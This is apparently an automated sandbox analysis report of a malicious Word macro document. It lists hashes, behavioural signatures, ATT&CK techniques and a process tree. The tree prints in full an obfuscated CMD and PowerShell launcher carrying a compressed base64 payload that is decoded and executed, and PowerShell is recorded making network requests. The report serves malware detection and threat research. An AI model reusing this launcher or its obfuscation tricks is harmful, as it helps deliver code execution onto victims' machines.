51cd6bdb18da6dc94549e067b04e727b9e947f2f189f5c27da67eb56f77c5f54

General

Target

e8a69d43cb32354bd852c5ab9c071abe_JaffaCakes118.doc
Size

84KB
MD5

e8a69d43cb32354bd852c5ab9c071abe
SHA1

11c101fc170253637726e5d1117a86dd2a2d9401
SHA256

51cd6bdb18da6dc94549e067b04e727b9e947f2f189f5c27da67eb56f77c5f54
SHA512

796c5403741abeacc76247f52a872d2b11aba408493a16263a10a99d9fff9111c8a9610dfbd9ece011dc60bd922a453259487d60bbf0e2a0f2f9b45ed08d2900
SSDEEP

1536:c5ocn1kp59gxBK85fBt+a9AgIsTy4Ceh:B41k/W48jIt4CW

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2068	3000	CMD.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2744	powershell.exe
7	2744	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2744	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3000	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2744	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2744	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3000	WINWORD.EXE
3000	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3000 wrote to memory of 2508	3000	WINWORD.EXE	30
PID 3000 wrote to memory of 2508	3000	WINWORD.EXE	30
PID 3000 wrote to memory of 2508	3000	WINWORD.EXE	30
PID 3000 wrote to memory of 2508	3000	WINWORD.EXE	30
PID 3000 wrote to memory of 2068	3000	WINWORD.EXE	31
PID 3000 wrote to memory of 2068	3000	WINWORD.EXE	31
PID 3000 wrote to memory of 2068	3000	WINWORD.EXE	31
PID 3000 wrote to memory of 2068	3000	WINWORD.EXE	31
PID 2068 wrote to memory of 2744	2068	CMD.exe	34
PID 2068 wrote to memory of 2744	2068	CMD.exe	34
PID 2068 wrote to memory of 2744	2068	CMD.exe	34
PID 2068 wrote to memory of 2744	2068	CMD.exe	34

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e8a69d43cb32354bd852c5ab9c071abe_JaffaCakes118.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3000
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2508
- C:\Windows\SysWOW64\CMD.exe
  CMD c:\wINdows\SYsTeM32\CmD.EXe /C "SeT OxnHJ= ^& ((GV '*MDr*').nAme[3,11,2]-joiN'') ( NEW-oBjEcT Io.sTReaMReadeR((NEW-oBjEcT Io.cOMPresSIon.dEFLaTESTreAm([iO.mEmoRYSTREam] [syStEm.conVeRt]::FroMBasE64StriNG( 'TZDBSsNAEIZfJYeFbYnZ1ApGugSKitCDFqzoxctmO+2m3czGzdBNW/LupkHF6/8N38z8bLeqcoSQuGIHmqIXIPEBxYMtAUmy3drm3BDVszQlCy15qEBoV6XON8vjaf7DDgoNeA8BtgZQFJAuflEIQWhVAZaNNknjNhSU7x0mPaJ9+zM0Zjq5zvpYoYZqT8OS9+0k+++hE+B0IKFOtEPqj0zv2lcuVrUtacTnfCyZL5+jPOLZzS2X7Gt5nzPAw4ygqmP+yeMLj7mAFrjcOA9KmxFDr6MSo8vD4zP545n1xYhHF9A6tX4qLQwzV9FFOJYLPLg9JIteOiSy6D172WlF2py77hs=' ),[Io.CoMpResSioN.ComPreSSIONMoDE]::DECompreSs)),[sYsTeM.tEXT.encODiNG]::ascii) ).rEADtoeNd( ) &&PoWeRSHElL sET-IteM vAriAbLe:j1R9x ( [Type](\"{0}{1}{3}{2}\"-F 'EN','viR','ENt','ONM' )) ; ( ( geT-VaRIABlE J1r9X ).vAlUE::( \"{0}{5}{2}{3}{6}{4}{1}\" -f 'get','abLE','i','RONm','tVari','ENv','EN' ).Invoke( ( \"{1}{0}\" -f 'xnhJ','O' ),( \"{0}{1}\"-f 'Pr','oCEss') ) ) ^| ^& ( ${sH`eLl`Id}[1] + ${shE`L`LId}[13]+ 'x' )"
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2068
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoWeRSHElL sET-IteM vAriAbLe:j1R9x ( [Type](\"{0}{1}{3}{2}\"-F 'EN','viR','ENt','ONM' )) ; ( ( geT-VaRIABlE J1r9X ).vAlUE::( \"{0}{5}{2}{3}{6}{4}{1}\" -f 'get','abLE','i','RONm','tVari','ENv','EN' ).Invoke( ( \"{1}{0}\" -f 'xnhJ','O' ),( \"{0}{1}\"-f 'Pr','oCEss') ) ) | & ( ${sH`eLl`Id}[1] + ${shE`L`LId}[13]+ 'x' )
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
19KB

MD5
c842571d34c7f73c3e2e67ec2bc6eea9

SHA1
4ce33673aa57c34d5bc95fd32a7615c367697f08

SHA256
bfdf4bd71942eb5cca0a87c6d3b27050a3f256a70fac63aa4103482648025157

SHA512
8ebd12f162e486a257dfc5c79992eff708848336a59cc3dab9aa70e54ec75de7bd3e8b9a6cf48843a6f478f435cf78e36c150f5a0b8b44e36c2c2d294fc92f19

Download Submit
memory/3000-0-0x000000002F801000-0x000000002F802000-memory.dmp

Filesize
4KB

Download
memory/3000-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/3000-2-0x0000000070B3D000-0x0000000070B48000-memory.dmp

Filesize
44KB

Download
memory/3000-4-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/3000-5-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/3000-6-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/3000-15-0x0000000070B3D000-0x0000000070B48000-memory.dmp

Filesize
44KB

Download
memory/3000-16-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/3000-31-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/3000-33-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/3000-32-0x0000000070B3D000-0x0000000070B48000-memory.dmp

Filesize
44KB

Download

Analysis

Sharing